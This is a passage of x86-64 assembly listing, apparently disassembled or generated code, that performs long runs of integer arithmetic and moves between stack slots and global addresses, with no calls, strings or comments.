and eax, ecx
mov rcx, qword [rsp + 0x9038]
mov word [rcx], ax
movsx eax, word [rsp + 0x1524]
movsx ecx, word [rsp + 0x158c]
or eax, ecx
mov word [rsp + 0x153c], ax
mov rax, qword [rsp + 0x94d8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8c60]
mov qword [rsp + 0x98e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x98e8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4828], eax
mov rax, qword [0x1401cd728]
mov rcx, qword [rsp + 0x9040]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x93f8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4ea8]
mov dword [rsp + 0x4f58], eax
mov rax, qword [rsp + 0x94a0]
movzx ecx, al
mov rax, qword [rsp + 0x91b8]
shl rax, cl
mov qword [rsp + 0x8ca0], rax
lea rax, [0x1401cc00f]
mov qword [0x1401cd898], rax
mov rax, qword [rsp + 0x9380]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9098]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8f30]
mov word [rcx], ax
lea rax, [rsp + 0x1588]
mov qword [rsp + 0x98f0], rax
movsx eax, byte [rsp + 0x229]
movsx ecx, byte [rsp + 0x220]
sub eax, ecx
mov byte [rsp + 0xe1], al
movzx eax, byte [rsp + 0x215]
mov byte [rsp + 0x22a], al
mov rax, qword [rsp + 0x9528]
mov ecx, dword [rsp + 0x4ed0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4e84], eax
mov rax, qword [rsp + 0x9780]
mov rcx, qword [rsp + 0x9198]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x84e0], rax
mov rax, qword [rsp + 0x98b0]
mov eax, dword [rax]
mov dword [rsp + 0x4f5c], eax
mov rax, qword [rsp + 0x8c38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x95d0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x90d8]
mov qword [rcx], rax
movzx eax, byte [0x1401cc01a]
mov byte [0x1401cd78c], al
mov rax, qword [rsp + 0x9300]
movzx eax, byte [rax]
mov byte [rsp + 0x22b], al
mov rax, qword [rsp + 0x8f08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9778]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x15a4], ax
movsx eax, byte [rsp + 0x20a]
movsx ecx, byte [0x1401cc03a]
add eax, ecx
mov byte [rsp + 0x1f0], al
movzx eax, word [rsp + 0x14dc]
mov word [rsp + 0x1608], ax
mov rax, qword [rsp + 0x9570]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8f38]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9330]
mov qword [rcx], rax
lea rax, [rsp + 0x4e4c]
mov qword [rsp + 0x98f8], rax
mov rax, qword [rsp + 0x8c38]
mov rcx, qword [rsp + 0x9090]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7f38], rax
mov eax, dword [rsp + 0x4ec4]
mov dword [rsp + 0x4f60], eax
mov rax, qword [rsp + 0x9080]
movzx eax, word [rax]
movzx ecx, word [0x1401cc07c]
sub eax, ecx
mov word [0x1401cc074], ax
movsx eax, byte [rsp + 0x220]
mov rcx, qword [rsp + 0x8f40]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x217], al
mov rax, qword [rsp + 0x97d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x15cc]
shl eax, cl
mov word [rsp + 0xeb0], ax
lea rax, [0x1401cc00f]
mov qword [rsp + 0x9900], rax
mov rax, qword [rsp + 0x96b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x98a8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x217], al
lea rax, [rsp + 0x9200]
mov qword [rsp + 0x9908], rax
mov rax, qword [rsp + 0x9400]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f50]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e8c], eax
mov rax, qword [rsp + 0x92b0]
mov rcx, qword [rsp + 0x8f38]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x90f8]
mov qword [rcx], rax
lea rax, [rsp + 0x4f18]
mov qword [rsp + 0x9910], rax
mov rax, qword [rsp + 0x93e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ed]
and eax, ecx
mov rcx, qword [0x1401cd868]
mov byte [rcx], al
mov rax, qword [rsp + 0x9748]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x94f8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x14e0], ax
mov rax, qword [rsp + 0x9730]
movzx eax, word [rax]
mov word [rsp + 0x160c], ax
mov rax, qword [rsp + 0x92a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x21a]
add eax, ecx
mov byte [rsp + 0x226], al
movzx eax, byte [rsp + 0x1f3]
mov rcx, qword [rsp + 0x9818]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x214], al
mov rax, qword [rsp + 0x9440]
mov eax, dword [rax]
mov dword [rsp + 0x4f64], eax
mov rax, qword [0x1401cd728]
mov rcx, qword [rsp + 0x8fd0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9538], rax
lea rax, [rsp + 0x4e58]
mov qword [rsp + 0x9918], rax
mov rax, qword [rsp + 0x9570]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9198]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9668], rax
mov rax, qword [rsp + 0x91c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1540]
sub eax, ecx
mov word [0x1401cc080], ax
movsx eax, byte [rsp + 0x1e6]
movsx ecx, byte [rsp + 0x1df]
sub eax, ecx
mov byte [rsp + 0x9a], al
mov rax, qword [rsp + 0x9028]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9488]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8f70]
mov word [rcx], ax
movzx eax, word [rsp + 0x159c]
movzx ecx, word [rsp + 0x15f8]
xor eax, ecx
mov word [rsp + 0x1528], ax
lea rax, [rsp + 0x200]
mov qword [rsp + 0x9920], rax
mov rax, qword [rsp + 0x9660]
mov rcx, qword [0x1401cd728]
mov qword [rsp + 0x9928], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9928]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8b40], rax
mov rax, qword [rsp + 0x9470]
mov eax, dword [rax]
mov dword [rsp + 0x4f68], eax
mov rax, qword [rsp + 0x9290]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9378]
mov qword [rsp + 0x9930], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9930]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x9158]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9168]
mov rcx, qword [rsp + 0x9388]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9198], rax
lea rax, [rsp + 0x21e]
mov qword [0x1401cd8a0], rax
lea rax, [rsp + 0x14fc]
mov qword [rsp + 0x9938], rax
mov rax, qword [rsp + 0x8fe8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1564]
cdq
idiv ecx
mov rcx, qword [rsp + 0x8db8]
mov word [rcx], ax
lea rax, [rsp + 0x209]
mov qword [rsp + 0x9940], rax
mov rax, qword [rsp + 0x9180]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x90c8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8fc8]
mov word [rcx], ax
mov eax, dword [0x1401cc01c]
mov ecx, dword [rsp + 0x4f2c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9760]
mov dword [rcx], eax
mov rax, qword [rsp + 0x97f0]
mov eax, dword [rax]
mov dword [rsp + 0x4f6c], eax
mov rax, qword [rsp + 0x94e8]
mov rcx, qword [rsp + 0x91b8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x94e8]
mov qword [rcx], rax
lea rax, [rsp + 0x9090]
mov qword [rsp + 0x9948], rax
mov rax, qword [rsp + 0x9070]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9530]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1534], ax
movzx eax, byte [rsp + 0x21c]
mov rcx, qword [rsp + 0x95c8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401cc008], al
mov rax, qword [0x1401cd730]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1e7]
and eax, ecx
mov byte [rsp + 0x216], al
lea rax, [rsp + 0x150c]
mov qword [rsp + 0x9950], rax
mov rax, qword [rsp + 0x9690]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x121c]
add eax, ecx
mov rcx, qword [rsp + 0x91b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x95f8]
mov rax, qword [rax]
mov qword [rsp + 0x9958], rax
mov rax, qword [rsp + 0x9158]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f10]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9320]
mov dword [rcx], eax
mov rax, qword [rsp + 0x90b0]
mov eax, dword [rax]
mov dword [rsp + 0x4f70], eax
mov rax, qword [0x1401cc020]
mov rcx, qword [rsp + 0x9110]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9258]
mov qword [rcx], rax
movsx eax, word [rsp + 0x15d0]
mov rcx, qword [rsp + 0x95a0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8db8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1f2]
movsx ecx, byte [rsp + 0x229]
shl eax, cl
mov byte [0x1401cd727], al
mov rax, qword [0x1401cd780]
movzx eax, word [rax]
mov word [rsp + 0x1610], ax
movsx eax, byte [rsp + 0x1dc]
mov rcx, qword [rsp + 0x8f68]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9100]
mov byte [rcx], al
movzx eax, byte [rsp + 0x224]
mov byte [rsp + 0x22c], al
mov rax, qword [rsp + 0x8ff8]
mov rcx, qword [0x1401cc020]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9258]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8f10]
mov rcx, qword [rsp + 0x9370]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x8e58]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4cd4]
mov dword [rsp + 0x4f74], eax
mov rax, qword [rsp + 0x9918]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e24]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ecc], eax
lea rax, [rsp + 0x1f1]
mov qword [rsp + 0x9960], rax
lea rax, [rsp + 0x80]
mov qword [0x1401cd8a8], rax
movzx eax, byte [rsp + 0x1e1]
movzx ecx, byte [rsp + 0x211]
add eax, ecx
mov byte [rsp + 0x205], al
movzx eax, word [rsp + 0x15a4]
mov rcx, qword [rsp + 0x9568]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x14cc], ax
mov rax, qword [rsp + 0x95a0]
movzx eax, word [rax]
mov word [rsp + 0x1614], ax
mov rax, qword [rsp + 0x8c38]
mov rcx, qword [rsp + 0x9128]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9728], rax
lea rax, [rsp + 0x4eec]
mov qword [rsp + 0x9968], rax
mov rax, qword [rsp + 0x9308]
mov ecx, dword [rsp + 0x4e88]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4e8c], eax
mov rax, qword [rsp + 0x8f10]
mov rcx, qword [rsp + 0x9460]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8540], rax
mov rax, qword [rsp + 0x8f70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9028]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x14dc], ax
lea rax, [rsp + 0x1ef]
mov qword [0x1401cd8b0], rax
mov rax, qword [0x1401cd738]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1558]
sub eax, ecx
mov word [rsp + 0x1604], ax
movzx eax, byte [rsp + 0x16a]
mov byte [rsp + 0x22d], al
movsx eax, word [rsp + 0x14d0]
movsx ecx, word [rsp + 0x156c]
add eax, ecx
mov rcx, qword [rsp + 0x9488]
mov word [rcx], ax
movzx eax, word [0x1401cc05c]
mov word [rsp + 0x1618], ax
mov eax, dword [rsp + 0x4ef0]
mov ecx, dword [rsp + 0x4edc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9120]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4ca4]
mov rcx, qword [rsp + 0x9320]
mov qword [rsp + 0x9970], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9970]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4ec4], eax
lea rax, [0x1401cc028]
mov qword [rsp + 0x9978], rax
mov rax, qword [rsp + 0x9018]
mov rcx, qword [rsp + 0x9728]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x8c98], rax
mov rax, qword [rsp + 0x93d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x21a]
shl eax, cl
mov rcx, qword [0x1401cd760]
mov byte [rcx], al
movzx eax, word [rsp + 0x1580]
mov word [rsp + 0x161c], ax
mov rax, qword [rsp + 0x9688]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9608]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x91e0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8cc0]
movsx eax, byte [rax]
movsx ecx, byte [0x1401cc03a]
and eax, ecx
mov byte [rsp + 0x226], al
lea rax, [rsp + 0x15ec]
mov qword [rsp + 0x9980], rax
mov rax, qword [rsp + 0x9558]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f48]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e70], eax
lea rax, [rsp + 0x4e50]
mov qword [rsp + 0x9988], rax
mov rax, qword [rsp + 0x94e8]
mov rcx, qword [rsp + 0x9510]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9780]
mov qword [rcx], rax
mov rax, qword [rsp + 0x91e8]
mov rcx, qword [rsp + 0x95b8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9338], rax
mov rax, qword [rsp + 0x91e0]
movzx eax, byte [rax]
movzx ecx, byte [0x1401cc00e]
add eax, ecx
mov byte [0x1401cc03e], al
mov rax, qword [rsp + 0x9790]
movzx eax, byte [rax]
mov byte [rsp + 0x22e], al
movzx eax, word [rsp + 0x15d4]
movzx ecx, word [rsp + 0x157c]
sub eax, ecx
mov word [rsp + 0x1530], ax
movzx eax, word [rsp + 0x15d8]
mov word [rsp + 0x1620], ax
mov rax, qword [rsp + 0x9938]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1518]
add eax, ecx
mov rcx, qword [rsp + 0x8d50]
mov word [rcx], ax
mov rax, qword [rsp + 0x98d8]
mov eax, dword [rax]
mov dword [rsp + 0x4f78], eax
mov rax, qword [rsp + 0x9948]
mov rcx, qword [rsp + 0x98e0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8100], rax
mov rax, qword [rsp + 0x9108]
mov ecx, dword [rsp + 0x4e90]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4f2c], eax
lea rax, [rsp + 0x8dd8]
mov qword [rsp + 0x9990], rax
movzx eax, word [rsp + 0x1610]
movzx ecx, word [rsp + 0x14d4]
shl eax, cl
mov rcx, qword [0x1401cd7c0]
mov word [rcx], ax
movsx eax, word [rsp + 0x15ec]
movsx ecx, word [rsp + 0x15e8]
xor eax, ecx
mov rcx, qword [rsp + 0x92b8]
mov word [rcx], ax
lea rax, [rsp + 0x1ee]
mov qword [rsp + 0x9998], rax
movsx eax, byte [rsp + 0x20f]
mov rcx, qword [rsp + 0x8f40]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9620]
mov byte [rcx], al
mov rax, qword [rsp + 0x98a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x92a8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1dc], al
mov eax, dword [rsp + 0x4eb4]
mov dword [rsp + 0x4f7c], eax
mov rax, qword [rsp + 0x9150]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9338]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9588]
mov qword [rcx], rax
lea rax, [rsp + 0x9840]
mov qword [rsp + 0x99a0], rax
mov rax, qword [rsp + 0x9000]
mov rcx, qword [rsp + 0x9030]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9518]
mov dword [rcx], eax
movzx eax, byte [0x1401cc032]
mov byte [0x1401cd78d], al
movsx eax, byte [rsp + 0x1f6]
mov rcx, qword [rsp + 0x9300]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x93d8]
mov byte [rcx], al
lea rax, [rsp + 0x15b8]
mov qword [rsp + 0x99a8], rax
movzx eax, word [rsp + 0x1604]
movzx ecx, word [0x1401cc054]
add eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8fc8]
movzx eax, word [rax]
mov word [rsp + 0x1624], ax
mov eax, dword [rsp + 0x4f28]
mov ecx, dword [rsp + 0x4e3c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8df8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8f50]
mov ecx, dword [rsp + 0x4e64]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4e44], eax
mov rax, qword [rsp + 0x8ef0]
mov rcx, qword [rsp + 0x86e8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8600], rax
mov rax, qword [rsp + 0x8fe0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ff8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9948]
mov qword [rcx], rax
movzx eax, byte [0x1401cd78c]
mov rcx, qword [rsp + 0x9920]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401cd78d], al
lea rax, [rsp + 0x1fd]
mov qword [rsp + 0x99b0], rax
movsx eax, word [rsp + 0x15ec]
movsx ecx, word [0x1401cc034]
and eax, ecx
mov rcx, qword [rsp + 0x9550]
mov word [rcx], ax
mov rax, qword [rsp + 0x98c0]
movzx eax, byte [rax]
mov byte [rsp + 0x22f], al
mov rax, qword [rsp + 0x9828]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x92c8]
movsx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x9328]
mov word [rcx], ax
mov rax, qword [rsp + 0x94b0]
movzx ecx, al
mov rax, qword [rsp + 0x97b8]
shl rax, cl
mov rcx, qword [rsp + 0x9390]
mov qword [rcx], rax
lea rax, [rsp + 0x4d54]
mov qword [rsp + 0x99b8], rax
mov eax, dword [rsp + 0x4f4c]
mov rcx, qword [rsp + 0x9518]
mov qword [rsp + 0x99c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x99c0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4ee4], eax
mov rax, qword [rsp + 0x90d8]
mov rax, qword [rax]
mov qword [rsp + 0x99c8], rax
movzx eax, byte [rsp + 0xb2]
movzx ecx, byte [rsp + 0x1fb]
xor eax, ecx
mov byte [0x1401cc00e], al
movzx eax, word [rsp + 0x15b0]
mov rcx, qword [rsp + 0x9938]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x91b0]
mov word [rcx], ax
movzx eax, word [rsp + 0x155c]
movzx ecx, word [0x1401cc078]
add eax, ecx
mov rcx, qword [rsp + 0x9740]
mov word [rcx], ax
lea rax, [rsp + 0x223]
mov qword [rsp + 0x99d0], rax
movsx eax, byte [rsp + 0x220]
mov rcx, qword [rsp + 0x9940]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1dd], al
mov eax, dword [0x1401cc01c]
mov dword [rsp + 0x4f80], eax
mov rax, qword [rsp + 0x8fe0]
mov rcx, qword [rsp + 0x9150]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x98d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8dd8]
mov rcx, qword [rsp + 0x8e00]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x93e0], rax
mov rax, qword [rsp + 0x93f0]
mov eax, dword [rax]
mov dword [rsp + 0x4f84], eax
lea rax, [rsp + 0x1e0]
mov qword [0x1401cd8b8], rax
mov rax, qword [rsp + 0x9328]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x97e0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1600], ax
lea rax, [rsp + 0x1500]
mov qword [rsp + 0x99d8], rax
mov rax, qword [rsp + 0x9850]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9550]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1168], ax
lea rax, [rsp + 0x222]
mov qword [rsp + 0x99e0], rax
mov rax, qword [rsp + 0x9390]
mov rcx, qword [rsp + 0x91b8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9148], rax
mov rax, qword [rsp + 0x8d18]
mov rcx, qword [rsp + 0x9060]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4f58], eax
lea rax, [rsp + 0x4f50]
mov qword [rsp + 0x99e8], rax
mov rax, qword [rsp + 0x98e0]
mov rcx, qword [rsp + 0x9538]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9908]
mov qword [rcx], rax
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x99f0], rax
mov rax, qword [rsp + 0x9098]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9590]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401cc084], ax
movzx eax, word [rsp + 0x15b0]
mov rcx, qword [0x1401cd808]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x15bc], ax
movsx eax, byte [rsp + 0x20a]
mov rcx, qword [rsp + 0x9300]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9178]
mov byte [rcx], al
lea rax, [rsp + 0x225]
mov qword [rsp + 0x99f8], rax
mov rax, qword [rsp + 0x95f8]
mov rcx, qword [0x1401cc010]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9188], rax
mov rax, qword [rsp + 0x9490]
mov rax, qword [rax]
mov qword [rsp + 0x9a00], rax
mov rax, qword [rsp + 0x93b8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x95e8]
mov qword [rsp + 0x9a08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9a08]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4dc4], eax
mov rax, qword [rsp + 0x8f50]
mov ecx, dword [0x1401cc01c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4eec], eax
movzx eax, byte [rsp + 0x209]
mov byte [rsp + 0x230], al
movsx eax, word [rsp + 0x1548]
movsx ecx, word [rsp + 0xee8]
and eax, ecx
mov word [0x1401cc048], ax
movzx eax, byte [0x1401cc00c]
mov rcx, qword [rsp + 0x8c00]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x227], al
mov rax, qword [rsp + 0x91c0]
movzx eax, word [rax]
mov word [rsp + 0x1628], ax
movsx eax, byte [rsp + 0x209]
movsx ecx, byte [rsp + 0x202]
add eax, ecx
mov byte [rsp + 0x229], al
mov rax, qword [rsp + 0x8d70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x94b0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x90f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9240]
mov eax, dword [rax]
mov dword [rsp + 0x4f88], eax
mov rax, qword [rsp + 0x95e8]
mov ecx, dword [rsp + 0x4f44]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4e60], eax
mov rax, qword [rsp + 0x9110]
mov rcx, qword [0x1401cc020]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ae8], rax
mov rax, qword [rsp + 0x8f08]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15d4]
sub eax, ecx
mov word [rsp + 0x15f8], ax
mov rax, qword [rsp + 0x9950]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8f70]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401cc088], ax
lea rax, [rsp + 0x1518]
mov qword [rsp + 0x9a10], rax
mov rax, qword [rsp + 0x9050]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x224]
sub eax, ecx
mov byte [rsp + 0x1ef], al
movsx eax, byte [rsp + 0x208]
mov rcx, qword [rsp + 0x9940]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9138]
mov byte [rcx], al
mov eax, dword [rsp + 0x4e94]
mov dword [rsp + 0x4f8c], eax
mov rax, qword [rsp + 0x8ef0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9958]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x93d0], rax
mov eax, dword [rsp + 0x4ef8]
mov dword [rsp + 0x4f90], eax
mov rax, qword [rsp + 0x91a8]
movzx ecx, al
mov rax, qword [rsp + 0x8ae8]
sar rax, cl
mov rcx, qword [rsp + 0x91e8]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x1f7]
mov rcx, qword [rsp + 0x96b8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x220], al
movzx eax, byte [0x1401cc00f]
mov rcx, qword [rsp + 0x91e0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x1401cd8b8]
mov byte [rcx], al
lea rax, [rsp + 0x151c]
mov qword [rsp + 0x9a18], rax
movzx eax, word [rsp + 0x157c]
movzx ecx, word [rsp + 0x1580]
sub eax, ecx
mov word [rsp + 0x15f8], ax
mov rax, qword [rsp + 0x92b8]
movzx eax, word [rax]
mov word [rsp + 0x162c], ax
movsx eax, byte [rsp + 0x216]
movsx ecx, byte [rsp + 0x1e5]
add eax, ecx
mov byte [rsp + 0x218], al
mov rax, qword [rsp + 0x9130]
mov rcx, qword [rsp + 0x8e20]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9908]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9910]
mov eax, dword [rax]
mov dword [rsp + 0x4f94], eax
mov rax, qword [rsp + 0x92b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x94a0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9780]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4eac]
mov dword [rsp + 0x4f98], eax
mov rax, qword [rsp + 0x90c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9708]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1401cd7d8], ax
movzx eax, byte [rsp + 0x205]
movzx ecx, byte [rsp + 0x207]
add eax, ecx
mov byte [rsp + 0xb2], al
lea rax, [rsp + 0x15cc]
mov qword [rsp + 0x9a20], rax
movsx eax, byte [0x1401cd78a]
movsx ecx, byte [rsp + 0x1e4]
add eax, ecx
mov rcx, qword [rsp + 0x99b0]
mov byte [rcx], al
movsx eax, word [rsp + 0x1164]
movsx ecx, word [rsp + 0x1514]
sub eax, ecx
mov rcx, qword [rsp + 0x9328]
mov word [rcx], ax
mov rax, qword [rsp + 0x8ff8]
mov qword [rsp + 0x9a28], rax
mov rax, qword [rsp + 0x9408]
mov rcx, qword [rsp + 0x9528]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4eb0], eax
mov rax, qword [rsp + 0x9240]
mov eax, dword [rax]
mov dword [rsp + 0x4f9c], eax
mov rax, qword [rsp + 0x9638]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x94e8]
mov qword [rsp + 0x9a30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9a30]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x97b8], rax
lea rax, [0x1401cc074]
mov qword [0x1401cd8c0], rax
movzx eax, byte [rsp + 0x207]
movzx ecx, byte [rsp + 0x211]
sar eax, cl
mov byte [rsp + 0x227], al
mov rax, qword [rsp + 0x97d0]
movzx eax, word [rax]
mov word [rsp + 0x1630], ax
mov rax, qword [0x1401cd8a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8cc0]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x8f68]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1ce]
movzx ecx, byte [rsp + 0x1ec]
xor eax, ecx
mov byte [rsp + 0x14d], al
mov eax, dword [0x1401cc01c]
mov ecx, dword [rsp + 0x4f90]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9060]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9720]
mov rcx, qword [rsp + 0x9890]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4828], eax
lea rax, [rsp + 0x94c0]
mov qword [rsp + 0x9a38], rax
mov rax, qword [0x1401cd728]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x99c8]
